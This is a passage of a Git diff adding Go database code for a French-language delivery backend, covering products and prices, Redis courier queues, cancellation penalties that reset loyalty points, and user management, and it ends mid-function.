log.Printf("📦 [DB CreateProduct] Description: %s", p.GetDescription())
log.Printf("📦 [DB CreateProduct] Stock: %.2f", p.GetStock())
log.Printf("📦 [DB CreateProduct] Nombre de prix: %d", len(p.GetPrices()))
}
// Insérer le produit avec le stock
query := `INSERT INTO products (name, category, description, stock, created_at, updated_at)
VALUES ($1, $2, $3, $4, $5, $6) RETURNING id, created_at, updated_at`
now := time.Now()
var productID int
var createdAt, updatedAt time.Time
err := db.QueryRow(query, p.GetName(), p.GetCategory(), p.GetDescription(), p.GetStock(), now, now).
Scan(&productID, &createdAt, &updatedAt)
if err != nil {
log.Printf("❌ [DB CreateProduct] Erreur INSERT: %v", err)
return fmt.Errorf("erreur création produit: %v", err)
}
log.Printf("✅ [DB CreateProduct] Produit inséré avec ID: %d", productID)
// Mettre à jour le produit avec l'ID et les dates
p.SetID(productID)
p.SetCreatedAt(createdAt)
p.SetUpdatedAt(updatedAt)
// Insérer les prix
prices := p.GetPrices()
for i, price := range prices {
priceQuery := `INSERT INTO product_prices (product_id, quantity, price)
VALUES ($1, $2, $3)`
_, err := db.Exec(priceQuery, productID, price.Quantity, price.Price)
if err != nil {
log.Printf("❌ [DB CreateProduct] Erreur insertion prix[%d]: %v", i, err)
return fmt.Errorf("erreur insertion prix: %v", err)
}
log.Printf("✅ [DB CreateProduct] Prix[%d] inséré: quantity=%d, price=%.2f",
i, price.Quantity, price.Price)
}
log.Printf("🎉 [DB CreateProduct] Produit créé avec succès! ID=%d", productID)
return nil
}
// GetProductByID récupère un produit par son ID avec prices ET stock
func (d *Database) GetProductByID(id int) (models.Product, error) {
log.Printf("📦 [GetProductByID] START - ID=%d", id)
var p models.Product
// ✅ AJOUTER stock dans le SELECT
err := d.QueryRow(`
SELECT id, name, category, description, stock, created_at, updated_at
FROM products
WHERE id=$1
`, id).Scan(&p.ID, &p.Name, &p.Category, &p.Description, &p.Stock, &p.CreatedAt, &p.UpdatedAt)
if err != nil {
log.Printf("❌ [GetProductByID] Erreur query: %v", err)
return p, err
}
log.Printf("📊 [GetProductByID] Product scanned: ID=%d, Name=%s, Stock=%.2f",
p.ID, p.Name, p.Stock)
// ✅ CHARGER LES PRICES
prices, err := d.GetProductPrices(p.ID)
if err != nil {
log.Printf("⚠️ [GetProductByID] Erreur loading prices: %v", err)
p.Prices = []models.ProductPrice{} // Tableau vide au lieu de nil
} else {
p.Prices = prices
log.Printf("✅ [GetProductByID] Loaded %d prices for product %d", len(prices), p.ID)
}
return p, nil
}
func (d *Database) GetAllProducts() ([]models.Product, error) {
log.Println("📦 [GetAllProducts] START")
rows, err := d.Query(`
SELECT id, name, category, description, stock, created_at, updated_at
FROM products
ORDER BY id ASC
`)
if err != nil {
log.Printf("❌ [GetAllProducts] Erreur query: %v", err)
return nil, err
}
defer rows.Close()
var products []models.Product
for rows.Next() {
var p models.Product
if err := rows.Scan(&p.ID, &p.Name, &p.Category, &p.Description, &p.Stock, &p.CreatedAt, &p.UpdatedAt); err != nil {
log.Printf("❌ [GetAllProducts] Erreur scan: %v", err)
return nil, err
}
log.Printf("📊 [GetAllProducts] Product scanned: ID=%d, Name=%s, Stock=%.2f", p.ID, p.Name, p.Stock)
// ✅ CHARGER LES PRICES
prices, err := d.GetProductPrices(p.ID)
if err != nil {
log.Printf("⚠️ [GetAllProducts] Erreur loading prices for product %d: %v", p.ID, err)
p.Prices = []models.ProductPrice{}
} else {
p.Prices = prices
log.Printf("✅ [GetAllProducts] Loaded %d prices for product %d", len(prices), p.ID)
}
// ✅ CHARGER LES MÉDIAS (MANQUANT AVANT!)
media, err := d.GetMediaByProductID(p.ID)
if err != nil {
log.Printf("⚠️ [GetAllProducts] Erreur loading media for product %d: %v", p.ID, err)
p.Media = []models.Media{}
} else {
p.Media = media
log.Printf("✅ [GetAllProducts] Loaded %d media for product %d", len(media), p.ID)
}
products = append(products, p)
}
log.Printf("✅ [GetAllProducts] Total products loaded: %d", len(products))
return products, nil
}
// GetProductsByCategory récupère les produits par catégorie avec prices ET stock
func (db *Database) GetProductsByCategory(category string) ([]models.Product, error) {
log.Printf("📦 [GetProductsByCategory] START - Category=%s", category)
// ✅ AJOUTER stock dans le SELECT
rows, err := db.Query(`
SELECT id, name, category, description, stock, created_at, updated_at
FROM products
WHERE category = $1
ORDER BY created_at DESC
`, category)
if err != nil {
log.Printf("❌ [GetProductsByCategory] Erreur query: %v", err)
return nil, fmt.Errorf("erreur lors de la récupération des produits: %w", err)
}
defer rows.Close()
var products []models.Product
for rows.Next() {
var p models.Product
// ✅ AJOUTER &p.Stock dans le Scan
if err := rows.Scan(&p.ID, &p.Name, &p.Category, &p.Description, &p.Stock, &p.CreatedAt, &p.UpdatedAt); err != nil {
log.Printf("❌ [GetProductsByCategory] Erreur scan: %v", err)
return nil, fmt.Errorf("erreur lors du scan d'un produit: %w", err)
}
log.Printf("📊 [GetProductsByCategory] Product scanned: ID=%d, Name=%s, Stock=%.2f",
p.ID, p.Name, p.Stock)
// ✅ CHARGER LES PRICES pour chaque produit
prices, err := db.GetProductPrices(p.ID)
if err != nil {
log.Printf("⚠️ [GetProductsByCategory] Erreur loading prices for product %d: %v", p.ID, err)
p.Prices = []models.ProductPrice{} // Tableau vide au lieu de nil
} else {
p.Prices = prices
log.Printf("✅ [GetProductsByCategory] Loaded %d prices for product %d", len(prices), p.ID)
}
products = append(products, p)
}
if err := rows.Err(); err != nil {
log.Printf("❌ [GetProductsByCategory] Erreur iteration: %v", err)
return nil, fmt.Errorf("erreur lors de l'itération des produits: %w", err)
}
log.Printf("✅ [GetProductsByCategory] Total products loaded: %d", len(products))
return products, nil
}
func (db *Database) UpdateProduct(productID int, product interface{}) error {
// À implémenter selon vos besoins
return nil
}
// DeleteProduct supprime un produit
func (db *Database) DeleteProduct(productID int) error {
query := `DELETE FROM products WHERE id = $1`
result, err := db.Exec(query, productID)
if err != nil {
return fmt.Errorf("erreur suppression produit: %v", err)
}
rowsAffected, _ := result.RowsAffected()
if rowsAffected == 0 {
return fmt.Errorf("produit introuvable")
}
return nil
}
func (d *Database) GetProductNameByID(productID int) (string, error) {
var name string
query := `SELECT name FROM products WHERE id = $1`
err := d.QueryRow(query, productID).Scan(&name)
if err != nil {
if err == sql.ErrNoRows {
return "", fmt.Errorf("produit non trouvé")
}
return "", err
}
return name, nil
}
+81
View File
@@ -0,0 +1,81 @@
package db
import (
"fmt"
"gestion/models"
"log"
)
// GetProductPrices récupère tous les prix d'un produit
func (db *Database) GetProductPrices(productID int) ([]models.ProductPrice, error) {
log.Printf("💰 [GetProductPrices] Loading prices for product %d", productID)
query := `SELECT id, product_id, quantity, price, created_at
FROM product_prices
WHERE product_id = $1
ORDER BY quantity ASC`
rows, err := db.Query(query, productID)
if err != nil {
log.Printf("❌ [GetProductPrices] Erreur query: %v", err)
return nil, fmt.Errorf("erreur récupération prix: %v", err)
}
defer rows.Close()
var prices []models.ProductPrice
for rows.Next() {
var price models.ProductPrice
if err := rows.Scan(&price.ID, &price.ProductID, &price.Quantity, &price.Price, &price.CreatedAt); err != nil {
log.Printf("❌ [GetProductPrices] Erreur scan: %v", err)
return nil, err
}
log.Printf(" 💰 Price: qty=%d, price=%.2f", price.Quantity, price.Price)
prices = append(prices, price)
}
log.Printf("✅ [GetProductPrices] Found %d prices for product %d", len(prices), productID)
return prices, nil
}
// CreateProductPrice ajoute un nouveau prix pour un produit
func (db *Database) CreateProductPrice(productID, quantity int, price float64) error {
query := `INSERT INTO product_prices (product_id, quantity, price)
VALUES ($1, $2, $3)`
_, err := db.Exec(query, productID, quantity, price)
if err != nil {
return fmt.Errorf("erreur création prix: %v", err)
}
return nil
}
// UpdateProductPrice met à jour un prix
func (db *Database) UpdateProductPrice(priceID, quantity int, price float64) error {
query := `UPDATE product_prices SET quantity = $1, price = $2 WHERE id = $3`
result, err := db.Exec(query, quantity, price, priceID)
if err != nil {
return fmt.Errorf("erreur mise à jour prix: %v", err)
}
rowsAffected, _ := result.RowsAffected()
if rowsAffected == 0 {
return fmt.Errorf("prix introuvable")
}
return nil
}
// DeleteProductPrice supprime un prix
func (db *Database) DeleteProductPrice(priceID int) error {
query := `DELETE FROM product_prices WHERE id = $1`
result, err := db.Exec(query, priceID)
if err != nil {
return fmt.Errorf("erreur suppression prix: %v", err)
}
rowsAffected, _ := result.RowsAffected()
if rowsAffected == 0 {
return fmt.Errorf("prix introuvable")
}
return nil
}
+244
View File
@@ -0,0 +1,244 @@
// ============================================
// db/queue_auto_next_db.go
// GESTION AUTOMATIQUE PROCHAINE COMMANDE
// ============================================
package db
import (
"encoding/json"
"fmt"
"gestion/models"
"log"
)
// ProcessNextCommandForDeliveryman traite automatiquement la prochaine commande
// Appelé après qu'une commande soit livrée ou annulée
func (d *Database) ProcessNextCommandForDeliveryman(deliveryman string) error {
log.Printf("🔄 [NEXT_COMMAND] Traitement prochaine commande pour %s", deliveryman)
// Récupérer la prochaine commande dans sa queue
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
commandIDs, err := Redis.ZRange(RedisCtx, queueKey, 0, -1).Result()
if err != nil || len(commandIDs) == 0 {
// Pas de commande dans la queue personnelle
log.Printf("️ [NEXT_COMMAND] Aucune commande en queue pour %s", deliveryman)
// Mettre le livreur en "available"
d.SetDeliveryPersonStatus(deliveryman, "available", 0)
// ✅ Mettre à jour le statut basé sur la queue
go d.UpdateDeliverymanStatusBasedOnQueue(deliveryman)
return nil
}
log.Printf("📋 [NEXT_COMMAND] %d commande(s) dans la queue de %s", len(commandIDs), deliveryman)
// ✅ BOUCLE: Essayer toutes les commandes jusqu'à trouver une valide
for i, cmdIDStr := range commandIDs {
commandID := extractCommandID(cmdIDStr)
if commandID <= 0 {
log.Printf("⚠️ [NEXT_COMMAND] ID invalide: %s", cmdIDStr)
continue
}
log.Printf("🔍 [NEXT_COMMAND] Vérification commande %d (position %d/%d)", commandID, i+1, len(commandIDs))
// Récupérer les détails de la commande depuis Redis
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
data, err := Redis.Get(RedisCtx, commandKey).Result()
if err != nil {
log.Printf("⚠️ [NEXT_COMMAND] Commande %d: données Redis introuvables - Retrait", commandID)
d.RemoveCommandFromAllQueues(commandID, deliveryman)
continue // Essayer la suivante
}
var queueItem models.CommandQueue
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
log.Printf("❌ [NEXT_COMMAND] Commande %d: JSON invalide - Retrait", commandID)
d.RemoveCommandFromAllQueues(commandID, deliveryman)
continue
}
// ✅ Vérifier le statut de la commande dans la DB
command, err := d.GetCommandByID(commandID)
if err != nil {
log.Printf("❌ [NEXT_COMMAND] Commande %d non trouvée en DB - Retrait de la queue", commandID)
d.RemoveCommandFromAllQueues(commandID, deliveryman)
continue // Essayer la suivante
}
currentStatus, _ := command["status"].(string)
log.Printf("📊 [NEXT_COMMAND] Commande %d: statut = '%s'", commandID, currentStatus)
// ✅ Si la commande n'est plus assignable, la retirer et passer à la suivante
nonAssignableStatuses := []string{"livre", "approved", "cancelled", "disabled", "failed"}
isNonAssignable := false
for _, s := range nonAssignableStatuses {
if currentStatus == s {
isNonAssignable = true
break
}
}
if isNonAssignable {
log.Printf("⚠️ [NEXT_COMMAND] Commande %d en statut '%s' - Retrait de la queue", commandID, currentStatus)
d.RemoveCommandFromAllQueues(commandID, deliveryman)
continue // Essayer la suivante
}
// ✅ Commande valide trouvée !
log.Printf("✅ [NEXT_COMMAND] Commande %d prête pour %s (statut: %s)", commandID, deliveryman, currentStatus)
// Optimiser la queue par proximité si possible
go d.OptimizeDeliverymanQueueByProximity(deliveryman)
// ✅ Mettre à jour le statut basé sur la queue
d.UpdateDeliverymanStatusBasedOnQueue(deliveryman)
// Ajouter un log
d.AddCommandLog(commandID, "next_in_queue",
fmt.Sprintf("Commande suivante dans la queue de %s", deliveryman),
"system")
return nil
}
// ✅ Si on arrive ici, toutes les commandes étaient invalides
log.Printf("⚠️ [NEXT_COMMAND] Toutes les commandes de %s étaient invalides - Queue vidée", deliveryman)
// Mettre le livreur en available
d.SetDeliveryPersonStatus(deliveryman, "available", 0)
d.UpdateDeliverymanStatusBasedOnQueue(deliveryman)
return nil
}
// RemoveCommandFromDeliverymanQueue retire une commande spécifique de la queue d'un livreur
func (d *Database) RemoveCommandFromDeliverymanQueue(deliveryman string, commandID int) error {
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
commandIDStr := fmt.Sprintf("%d", commandID)
log.Printf("📦 [RemoveFromDeliverymanQueue] Retrait cmd %d de la queue de %s", commandID, deliveryman)
// Retirer de la queue
result, err := Redis.ZRem(RedisCtx, queueKey, commandIDStr).Result()
if err != nil {
log.Printf("❌ [RemoveFromDeliverymanQueue] Erreur: %v", err)
return err
}
if result == 0 {
log.Printf("⚠️ [RemoveFromDeliverymanQueue] Commande %d non trouvée dans queue", commandID)
} else {
log.Printf("✅ [RemoveFromDeliverymanQueue] Commande %d retirée", commandID)
}
// Supprimer les données
Redis.Del(RedisCtx, commandKey)
// Décrémenter le compteur
counterKey := fmt.Sprintf("queue:deliveryman:%s:count", deliveryman)
Redis.Decr(RedisCtx, counterKey)
return nil
}
// CleanupCompletedCommandFromQueue nettoie une commande terminée et prépare la suivante
// À appeler depuis les handlers d'annulation et de livraison
func (d *Database) CleanupCompletedCommandFromQueue(commandID int, deliveryman string) error {
log.Printf("🧹 [CLEANUP] Nettoyage commande %d pour %s", commandID, deliveryman)
// 1. Retirer la commande de TOUTES les queues (pas seulement celle du livreur)
err := d.RemoveCommandFromAllQueues(commandID, deliveryman)
if err != nil {
log.Printf("⚠️ [CLEANUP] Erreur retrait commande: %v", err)
}
// 2. Supprimer les caches associés
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
Redis.Del(RedisCtx, destCacheKey)
etaKey := fmt.Sprintf("command:eta:%d", commandID)
Redis.Del(RedisCtx, etaKey)
// 3. Supprimer la clé de données de la commande
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
Redis.Del(RedisCtx, commandKey)
log.Printf("✅ [CLEANUP] Commande %d nettoyée complètement", commandID)
// 4. Traiter la prochaine commande
return d.ProcessNextCommandForDeliveryman(deliveryman)
}
// RemoveCommandFromAllQueues retire une commande de toutes les queues Redis
func (d *Database) RemoveCommandFromAllQueues(commandID int, deliveryman string) error {
commandIDStr := fmt.Sprintf("%d", commandID)
log.Printf("🗑️ [REMOVE_ALL] Suppression commande %d de toutes les queues", commandID)
// 1. Queue du livreur spécifique
if deliveryman != "" {
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
result, err := Redis.ZRem(RedisCtx, queueKey, commandIDStr).Result()
if err != nil {
log.Printf("⚠️ [REMOVE_ALL] Erreur suppression queue livreur: %v", err)
} else if result > 0 {
log.Printf("✅ [REMOVE_ALL] Supprimée de queue:%s", queueKey)
// Décrémenter le compteur
counterKey := fmt.Sprintf("queue:deliveryman:%s:count", deliveryman)
Redis.Decr(RedisCtx, counterKey)
} else {
log.Printf("️ [REMOVE_ALL] Commande %d n'était pas dans queue:%s", commandID, queueKey)
}
}
// 2. Queue générale
removed := false
result, _ := Redis.ZRem(RedisCtx, "queue:pending:sorted", commandIDStr).Result()
if result > 0 {
log.Printf("✅ [REMOVE_ALL] Supprimée de queue:pending:sorted")
removed = true
}
// 3. Queue prioritaire
result, _ = Redis.ZRem(RedisCtx, "queue:priority:sorted", commandIDStr).Result()
if result > 0 {
log.Printf("✅ [REMOVE_ALL] Supprimée de queue:priority:sorted")
removed = true
}
// 4. Vérifier toutes les autres queues de livreurs (au cas où)
keys, _ := Redis.Keys(RedisCtx, "queue:deliveryman:*").Result()
for _, key := range keys {
if len(key) > 6 && key[len(key)-6:] == ":count" {
continue
}
result, _ := Redis.ZRem(RedisCtx, key, commandIDStr).Result()
if result > 0 {
log.Printf("⚠️ [REMOVE_ALL] Commande trouvée et supprimée de %s", key)
removed = true
}
}
// 5. Supprimer la clé de données
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
result, _ = Redis.Del(RedisCtx, commandKey).Result()
if result > 0 {
log.Printf("✅ [REMOVE_ALL] Données supprimées: %s", commandKey)
removed = true
}
if !removed {
log.Printf("⚠️ [REMOVE_ALL] Commande %d n'a été trouvée dans aucune queue", commandID)
} else {
log.Printf("✅ [REMOVE_ALL] Commande %d supprimée de toutes les queues", commandID)
}
return nil
}
+175
View File
@@ -0,0 +1,175 @@
// ============================================
// db/cancel_sanctions_db.go
// GESTION DES SANCTIONS ÉVOLUTIVES
// ============================================
package db
import (
"fmt"
"log"
)
// GetClientCancellationsCount récupère le nombre d'annulations tardives d'un client
func (d *Database) GetClientCancellationsCount(username string) (int, error) {
var count int
query := `SELECT COALESCE(cancellations_count, 0) FROM clients WHERE username = $1`
err := d.QueryRow(query, username).Scan(&count)
if err != nil {
log.Printf("❌ [GetCancellationsCount] Erreur: %v", err)
return 0, fmt.Errorf("erreur récupération compteur: %w", err)
}
return count, nil
}
// IncrementClientCancellationsCount incrémente le compteur d'annulations
func (d *Database) IncrementClientCancellationsCount(username string) error {
query := `UPDATE clients
SET cancellations_count = COALESCE(cancellations_count, 0) + 1,
updated_at = CURRENT_TIMESTAMP
WHERE username = $1`
result, err := d.Exec(query, username)
if err != nil {
log.Printf("❌ [IncrementCancellations] Erreur: %v", err)
return fmt.Errorf("erreur incrémentation: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return fmt.Errorf("erreur vérification: %w", err)
}
if rowsAffected == 0 {
return fmt.Errorf("client non trouvé")
}
log.Printf("✅ [IncrementCancellations] Compteur incrémenté pour %s", username)
// Invalider le cache Redis
cacheKey := fmt.Sprintf("client:%s", username)
Redis.Del(RedisCtx, cacheKey)
return nil
}
// CalculateCancellationPenalty calcule la pénalité selon l'historique
// 1ère fois: 20 points
// 2ème fois: 50 points
// 3ème fois: 100 points
// 4ème+ fois: 150 points
func (d *Database) CalculateCancellationPenalty(username string) (int, error) {
count, err := d.GetClientCancellationsCount(username)
if err != nil {
return 0, err
}
var penalty int
switch {
case count == 0:
penalty = 20 // Première annulation tardive
case count == 1:
penalty = 50 // Deuxième annulation tardive
case count == 2:
penalty = 100 // Troisième annulation tardive
default:
penalty = 150 // À partir de la 4ème annulation
}
log.Printf("💰 [CalculatePenalty] Client %s - Annulations: %d → Pénalité: %d points",
username, count, penalty)
return penalty, nil
}
// ApplyCancellationPenalty applique une pénalité, incrémente le compteur et REMET TOUS LES POINTS À ZÉRO
// ✅ MODIFIÉ: Récupère les points AVANT de les remettre à zéro pour le log dans le handler
func (d *Database) ApplyCancellationPenalty(username string) (int, error) {
// ✅ ÉTAPE 0: Récupérer les points AVANT modification (pour le handler)
// Note: Le handler récupère aussi les points, mais on garde cette fonction autonome
// Calculer la pénalité AVANT d'incrémenter
penalty, err := d.CalculateCancellationPenalty(username)
if err != nil {
return 0, err
}
log.Printf("⚠️ [ApplyCancellationPenalty] Client %s - Pénalité calculée: %d points", username, penalty)
// ✅ ÉTAPE 1: Incrémenter le compteur d'annulations
if err := d.IncrementClientCancellationsCount(username); err != nil {
return 0, err
}
// ✅ ÉTAPE 2: Mettre l'amende au montant de la pénalité ET remettre TOUS les points à zéro
query := `UPDATE clients
SET amende = $1,
point = 0,
point_zipette = 0,
updated_at = CURRENT_TIMESTAMP
WHERE username = $2`
result, err := d.Exec(query, float64(penalty), username)
if err != nil {
log.Printf("❌ [ApplyCancellationPenalty] Erreur UPDATE: %v", err)
return 0, fmt.Errorf("erreur application pénalité: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return 0, fmt.Errorf("erreur vérification: %w", err)
}
if rowsAffected == 0 {
return 0, fmt.Errorf("client non trouvé")
}
log.Printf("✅ [ApplyCancellationPenalty] %d points d'amende appliqués à %s + TOUS points remis à 0 (weed + zipette)", penalty, username)
// Invalider le cache Redis
cacheKey := fmt.Sprintf("client:%s", username)
Redis.Del(RedisCtx, cacheKey)
return penalty, nil
}
// GetClientCancellationHistory récupère l'historique d'annulations d'un client
func (d *Database) GetClientCancellationHistory(username string) (map[string]interface{}, error) {
count, err := d.GetClientCancellationsCount(username)
if err != nil {
return nil, err
}
// Calculer la prochaine pénalité
var nextPenalty int
switch count {
case 0:
nextPenalty = 20
case 1:
nextPenalty = 50
case 2:
nextPenalty = 100
default:
nextPenalty = 150
}
// Récupérer l'amende actuelle
client, err := d.GetClientByUsername(username)
var currentAmende float64
if err == nil {
currentAmende = client.Amende
}
return map[string]interface{}{
"cancellations_count": count,
"current_amende": currentAmende,
"next_penalty": nextPenalty,
"penalty_scale": map[string]int{
"1st": 20,
"2nd": 50,
"3rd": 100,
"4th+": 150,
},
"warning": "TOUS les points de fidélité (weed/hash ET zipette) seront remis à zéro lors de la prochaine annulation tardive",
}, nil
}
+208
View File
@@ -0,0 +1,208 @@
package db
import (
"database/sql"
"fmt"
"gestion/models"
"log"
"time"
)
func (d *Database) CreateUser(user *models.User) error {
query := `INSERT INTO users (username, password, role, created_at, updated_at)
VALUES ($1, $2, $3, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP)
RETURNING id, created_at, updated_at`
var createdAt, updatedAt time.Time
err := d.QueryRow(query, user.Username, user.Password, user.Role).Scan(
&user.ID,
&createdAt,
&updatedAt,
)
if err != nil {
return fmt.Errorf("erreur lors de la création de l'utilisateur: %w", err)
}
return nil
}
// GetAllUsers récupère tous les utilisateurs
func (d *Database) GetAllUsers() ([]*models.User, error) {
query := `SELECT id, username, password, role, created_at, updated_at
FROM users ORDER BY created_at DESC`
rows, err := d.Query(query)
if err != nil {
return nil, fmt.Errorf("erreur lors de la récupération des utilisateurs: %w", err)
}
defer rows.Close()
var users []*models.User
for rows.Next() {
user := &models.User{}
var createdAt, updatedAt time.Time
err := rows.Scan(
&user.ID,
&user.Username,
&user.Password,
&user.Role,
&createdAt,
&updatedAt,
)
if err != nil {
return nil, fmt.Errorf("erreur lors du scan de l'utilisateur: %w", err)
}
users = append(users, user)
}
if err = rows.Err(); err != nil {
return nil, fmt.Errorf("erreur lors de l'itération des résultats: %w", err)
}
return users, nil
}
func (d *Database) GetAllDeliveryMen() ([]*models.User, error) {
query := `
SELECT id, username, password, role
FROM users
WHERE role = 'livreur'
`
rows, err := d.Query(query)
if err != nil {
return nil, fmt.Errorf("erreur lors de la récupération des utilisateurs: %w", err)
}
defer rows.Close()
var users []*models.User
for rows.Next() {
user := &models.User{}
err := rows.Scan(
&user.ID,
&user.Username,
&user.Password,
&user.Role,
)
if err != nil {
return nil, fmt.Errorf("erreur lors du scan de l'utilisateur: %w", err)
}
users = append(users, user)
}
if err = rows.Err(); err != nil {
return nil, fmt.Errorf("erreur lors de l'itération des résultats: %w", err)
}
return users, nil
}
// UpdateUser met à jour un utilisateur existant
func (d *Database) UpdateUser(user *models.User) error {
query := `UPDATE users
SET username = $1, password = $2, role = $3, updated_at = CURRENT_TIMESTAMP
WHERE id = $4`
result, err := d.Exec(query, user.Username, user.Password, user.Role, user.ID)
if err != nil {
return fmt.Errorf("erreur lors de la mise à jour de l'utilisateur: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return fmt.Errorf("erreur lors de la vérification des lignes affectées: %w", err)
}
if rowsAffected == 0 {
return fmt.Errorf("utilisateur non trouvé")
}
return nil
}
// DeleteUser supprime un utilisateur
func (d *Database) DeleteUser(id int) error {
// Récupérer le rôle de l'utilisateur avant de le supprimer
var role string
err := d.QueryRow(`SELECT role FROM users WHERE id = $1`, id).Scan(&role)
if err != nil {
if err == sql.ErrNoRows {
return fmt.Errorf("utilisateur non trouvé")
}
return fmt.Errorf("erreur lors de la récupération du rôle: %w", err)
}
// ✅ MODIFIÉ : Supprimer tous les tokens de l'utilisateur
_ = d.RevokeAllUserTokens(id, role)
query := `DELETE FROM users WHERE id = $1`
result, err := d.Exec(query, id)
if err != nil {
return fmt.Errorf("erreur lors de la suppression de l'utilisateur: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
return fmt.Errorf("erreur lors de la vérification des lignes affectées: %w", err)
}
if rowsAffected == 0 {
return fmt.Errorf("utilisateur non trouvé")
}
log.Printf("✅ Utilisateur supprimé (ID: %d, Role: %s)", id, role)
return nil
}
// GetUserByID récupère un utilisateur par son ID
func (d *Database) GetUserByID(id int) (*models.User, error) {
user := &models.User{}
query := `SELECT id, username, password, role, created_at, updated_at
FROM users WHERE id = $1`
var createdAt, updatedAt time.Time
err := d.QueryRow(query, id).Scan(
&user.ID,
&user.Username,
&user.Password,
&user.Role,
&createdAt,
&updatedAt,
)
if err == sql.ErrNoRows {
return nil, fmt.Errorf("utilisateur non trouvé")
}
if err != nil {
return nil, fmt.Errorf("erreur lors de la récupération de l'utilisateur: %w", err)
}
return user, nil
}
func (d *Database) GetUserByUsername(username string) (*models.User, error) {
user := &models.User{}
query := `SELECT id, username, password, role
FROM users WHERE username = $1`
err := d.QueryRow(query, username).Scan(
&user.ID,
&user.Username,
&user.Password,
&user.Role,
)
// ✅ Vérifier sql.ErrNoRows et retourner une erreur
if err == sql.ErrNoRows {
return nil, fmt.Errorf("utilisateur non trouvé")
}
// Autres erreurs
if err != nil {
return nil, fmt.Errorf("erreur lors de la récupération de l'utilisateur: %w", err)
}
return user, nil
}
+57
View File
@@ -0,0 +1,57 @@
package db
import (
"context"
"gestion/models"
"log"
"os"
"github.com/redis/go-redis/v9"
)
var (
Redis *redis.Client
RedisCtx = context.Background()
)
type CommandWithDistance struct {
CommandID int
Address string
Lat float64
Lng float64
Distance float64
EstimatedETA int
QueueItem models.CommandQueue
}
const (
// Temps moyen estimé par livraison (en minutes)
AVG_DELIVERY_TIME = 15
// Nombre maximum de commandes par livreur
MAX_COMMANDS_PER_DELIVERYMAN = 10
)
// ============================================
// INITIALISATION DE REDIS
// ============================================
func InitRedis() {
host := getEnv("REDIS_HOST", "redis")
port := getEnv("REDIS_PORT", "6379")
password := os.Getenv("REDIS_PASSWORD")
addr := host + ":" + port
Redis = redis.NewClient(&redis.Options{
Addr: addr,
Password: password,
DB: 0,
})
_, err := Redis.Ping(RedisCtx).Result()
if err != nil {
log.Fatalf("❌ Erreur connexion Redis: %v", err)
}
log.Println("⚡ Redis connecté")
}
@@ -0,0 +1,180 @@
package db
import (
"encoding/json"
"fmt"
"gestion/models"
"log"
"math"
)
// FindLeastLoadedDeliveryman trouve le livreur avec le moins de commandes ET qui peut accepter
// ✅ Respecte le statut BUSY (queue >= 10)
func (d *Database) FindLeastLoadedDeliveryman() (string, error) {
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
if err != nil || len(keys) == 0 {
return "", fmt.Errorf("aucun livreur trouvé")
}
var leastLoaded string
minQueueSize := int64(MAX_COMMANDS_PER_DELIVERYMAN + 1)
for _, key := range keys {
username := key[len("delivery:status:"):]
data, err := Redis.Get(RedisCtx, key).Result()
if err != nil {
continue
}
var status models.DeliveryPersonStatus
json.Unmarshal([]byte(data), &status)
// ✅ Ignorer les livreurs offline
if status.Status == "offline" {
continue
}
// ✅ NOUVEAU: Vérifier si le livreur peut accepter des commandes
if !d.CanDeliverymanAcceptCommands(username) {
log.Printf("⏭️ [LEAST_LOADED] Skip %s: ne peut pas accepter", username)
continue
}
queueKey := fmt.Sprintf("queue:deliveryman:%s", username)
queueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
// Priorité aux livreurs disponibles (bonus de -1000)
effectiveQueueSize := queueSize
if status.Status == "available" {
effectiveQueueSize -= 1000
}
if effectiveQueueSize < minQueueSize {
minQueueSize = effectiveQueueSize
leastLoaded = username
}
}
if leastLoaded == "" {
return "", fmt.Errorf("aucun livreur disponible")
}
queueKey := fmt.Sprintf("queue:deliveryman:%s", leastLoaded)
actualQueueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
log.Printf("🎯 [LEAST_LOADED] %s sélectionné (%d/10 commandes)",
leastLoaded, actualQueueSize)
return leastLoaded, nil
}
// FindAvailableOrLeastLoadedDeliveryman trouve un livreur disponible ou le moins chargé
// ✅ Respecte le statut BUSY
func (d *Database) FindAvailableOrLeastLoadedDeliveryman() (string, string, int, error) {
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
if err != nil || len(keys) == 0 {
return "", "", 0, fmt.Errorf("aucun livreur trouvé")
}
var bestDeliveryman string
var bestStatus string
bestQueueSize := int64(MAX_COMMANDS_PER_DELIVERYMAN + 1)
for _, key := range keys {
username := key[len("delivery:status:"):]
data, err := Redis.Get(RedisCtx, key).Result()
if err != nil {
continue
}
var status models.DeliveryPersonStatus
json.Unmarshal([]byte(data), &status)
if status.Status == "offline" {
continue
}
// ✅ NOUVEAU: Vérifier si le livreur peut accepter
if !d.CanDeliverymanAcceptCommands(username) {
continue
}
queueKey := fmt.Sprintf("queue:deliveryman:%s", username)
queueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
// Priorité: available > busy avec moins de commandes
if status.Status == "available" && queueSize == 0 {
return username, "available", 0, nil
}
if queueSize < bestQueueSize {
bestQueueSize = queueSize
bestDeliveryman = username
bestStatus = status.Status
}
}
if bestDeliveryman == "" {
return "", "", 0, fmt.Errorf("tous les livreurs sont au maximum de leur capacité")
}
return bestDeliveryman, bestStatus, int(bestQueueSize), nil
}
// GetLeastLoadedDeliverymanForced retourne le livreur avec le moins de commandes (SANS limite)
// ⚠️ À utiliser uniquement pour assignation forcée par admin
func (d *Database) GetLeastLoadedDeliverymanForced() (string, int64, error) {
activeUsernames, err := d.GetAllActiveDeliverymenUsernames()
if err != nil || len(activeUsernames) == 0 {
return "", 0, fmt.Errorf("aucun livreur actif")
}
var leastLoaded string
var minQueueSize int64 = math.MaxInt64
for _, username := range activeUsernames {
